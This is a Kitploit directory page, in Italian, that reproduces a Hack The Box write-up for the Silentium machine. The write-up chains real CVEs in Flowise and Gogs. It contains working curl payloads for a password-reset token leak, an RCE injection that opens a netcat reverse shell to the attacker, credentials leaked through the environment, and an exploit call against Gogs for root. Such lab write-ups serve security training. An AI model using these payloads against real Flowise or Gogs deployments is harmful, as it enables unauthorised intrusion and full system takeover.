Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
HTB-Silentium-Writeup — Hack The Box - Writeup della macchina Silentium | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110 | Kitploit
Strumenti/GitHubGitHub/twappz/htb-silentium-writeup
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitRaccolta InformazioniSicurezza WebCTFPenetration TestingApprendimento e FormazioneEscape dal Container
GitHubtwappz/htb-silentium-writeup

HTB-Silentium-Writeup

Hack The Box - Writeup della macchina Silentium | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

154 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

HTB - Writeup di Silentium

Hack The Box Difficulty OS

Informazioni sulla macchina

  • Nome: Silentium
  • OS: Linux
  • Difficoltà: Facile
  • CVE: CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

Enumerazione

Scansione Nmap

root@kitploit:~
nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt

Porte aperte: 22 (SSH), 80 (HTTP)

Host virtualistaging.silentium.htb esegue Flowise 3.0.5


Accesso iniziale — RCE su Flowise

CVE-2025-58434 — Leak del token di reset password senza autenticazione

L'endpoint forgot-password espone il tempToken direttamente nella risposta API.

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]"}}'

Usa il tempToken trapelato per reimpostare la password:

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'

CVE-2025-59528 — RCE autenticato tramite CustomMCP

Accedi per ottenere la API key, poi innesca la RCE:

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_KEY>" \
  -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'

Ottenuta shell all'interno del container Docker come root.


Evasione dal container

Controllate le variabili d'ambiente:

root@kitploit:~
env

Trovate le credenziali:

  • FLOWISE_USERNAME=ben
  • FLOWISE_PASSWORD=F1l3_d0ck3r

SSH verso l'host:

root@kitploit:~
ssh ben@<IP>

Escalation dei privilegi — Gogs CVE-2025-8110

Gogs in esecuzione internamente sulla porta 3001 come root.

Configura il tunnel SSH:

root@kitploit:~
ssh -L 8080:127.0.0.1:3001 ben@<IP>

Registrato un account su Gogs tramite http://127.0.0.1:8080, generato il token API.

CVE-2025-8110 — Bypass dei symlink nell'API PutContents

Usato l'exploit di TYehan:

root@kitploit:~
python3 exploit.py \
  --url http://127.0.0.1:8080 \
  --username <user> \
  --password <pass> \
  --token <token> \
  --host <LHOST> \
  --port 4446

Ottenuta shell root! 🎉


Flag

  • Flag utente: /home/ben/user.txt
  • Flag root: /root/root.txt

Strumenti utilizzati

  • nmap
  • curl
  • ffuf
  • netcat
  • Python3

Riferimenti

  • CVE-2025-58434
  • CVE-2025-59528
  • CVE-2025-8110 Aggiunto a /etc/hosts:
Scarica lo strumento